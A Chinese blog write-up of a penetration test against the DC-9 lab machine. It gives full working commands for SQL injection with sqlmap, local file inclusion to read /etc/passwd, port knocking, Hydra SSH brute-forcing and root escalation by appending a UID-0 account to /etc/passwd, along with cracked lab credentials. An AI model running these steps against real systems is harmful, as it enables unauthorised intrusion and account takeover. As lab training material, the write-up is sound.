一次DC9靶机的渗透测试

1.信息收集

2.SQL注入获取用户

3.LFI读取etcpasswd

4.Hydra爆破SSH

5.添加etcpasswd用户提权

1.信息收集:

探测存活主机

nmap -sP 192.168.11.1/24

发现主机探测端口和服务:

nmap -sV -p 1-65535 192.168.11.144

2.SQL注入获取用户:

HTTP服务,浏览器打开看一下:

一番查找发现SQL注入:

回显:

我们先看是什么请求:

发现post请求,参数search,直接上SQLmap一把梭:

先查看数据库:

sqlmap -u "http://192.168.11.144/results.php" --data "search=1" --dbs

查看users的表名:

sqlmap -u "http://192.168.11.144/results.php" --data "search=1" -D users --tables

直接查看数据:

sqlmap -u "http://192.168.11.144/results.php" --data "search=1" -D users -T UserDetails --dump

这个可能是CMS的登录账号密码,但不知道对应哪一个,做一个字典,直接上BP爆破

我们随便填一个用户名密码

填上字典,开始爆破

结果返回:

我将长度排列了一下,发现并没有特别的,说明这不是登录的账号密码,结合之前我们在SQL注入的时候还发现了一个staff,我们查看一下:

sqlmap -u "http://192.168.11.144/results.php" --data "search=1" -D Staff --tables

查看Users:

sqlmap -u "http://192.168.11.144/results.php" --data "search=1" -D Staff -T Users --dump

又发现了一个账号密码,尝试登录:

成功

3.LFI读取etcpasswd

 点击Manager时,发现File does not exist,很有可能是本地的文件包含漏洞

因为可能是文件包含我们尝试一下:

因为这里我们已经登录了,要加上cookie:

文件包含漏洞,一般都有etcpasswd,我们查找,使用FUZZ找参数,../ 确保我们能回到根目录:

wfuzz -b 'PHPSESSID=0jhk7n6940j418rtt7oqjhp374' -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.11.144/manage.php?FUZZ=../../../../../../../../../../etc/passwd

参数太多,我们过滤:

wfuzz -b 'PHPSESSID=0jhk7n6940j418rtt7oqjhp374' --hw 100 -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.11.144/manage.php?FUZZ=../../../../../../../../../../etc/passwd

找到参数file,浏览器访问:

http://192.168.11.144/manage.php?file=../../../../../../etc/passwd

4.Hydra爆破SSH:

 在访问etcpasswd时,发现里面的账号是我们之前sql爆破时得到的一样,并且还有密码,那么我们尝试SSH登录:   

hydra -L user.txt -P pass.txt 192.168.11.144 ssh

告诉我们连接拒绝,但是之前我们扫端口时候,它是开放的,那么可能端口被隐藏了

分析:

1、端口被限制(防火墙)

2、用户被限制登录

3、运行了knockd服务

我们看一下knocked服务,在浏览器访问:

http://192.168.11.144/manage.php?file=. ./../../../../../../../../etc/knockd.conf

确实开启了这个服务,定义了3个敲门序列,7469,8475,9842 ,

只有我们依次访问这几个端口,才能打开ssh服务:

nmap -p 7469 192.168.11.144

nmap -p 8475 192.168.11.144

nmap -p 9842 192.168.11.144

扫完以后,我们扫22端口,查看是否打开:

nmap -p22 192.168.11.144

已经打开

那么就简单了,我们继续用字典去尝试登录SSH:

hydra -L user.txt -P pass.txt 192.168.11.144 ssh

发现三个,尝试登录:

ssh janitor@192.168.142.139 Ilovepeepee

ssh joeyt@192.168.142.139 Passw0rd

ssh chandlerb@192.168.142.139 UrAG0D!

思路:

查看用户文件 ls -a

查看root权限 sudo -l

查看历史命令 history

发现六个密码,添加字典上去,其他用户没什么发现,再扫一遍:

hydra -L user.txt -P pass.txt 192.168.11.144 ssh

发现新用户,登录!

login: fredf   password: B4-Tru3-001

5.添加etcpasswd用户提权:

登录以后这个查看可以执行root权限的命令不需要密码

查看文件属性:

file /opt/devstuff/dist/test/test

打开执行发现:

发现一个.py脚本,我们查找源码:

find / -name "test.py" 2>/dev/null

查看源码:

把第一个文件的输入追加到第二个文件中去

那么我们添加用户提权,添加一个UID和GID都是0的用户

生成密码:

openssl passwd -1 -salt admin 123456

$1$admin$LClYcRe.ee8dQwgrFc5nz.

添加到临时文件中去:

echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd

打开有脚本的目录:cd /opt/devstuff/dist/test/

利用脚本追加root权限的用户:sudo ./test /tmp/passwd /etc/passwd 

尝试登录:su admin 输入密码123456

提权成功!

  • 29
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值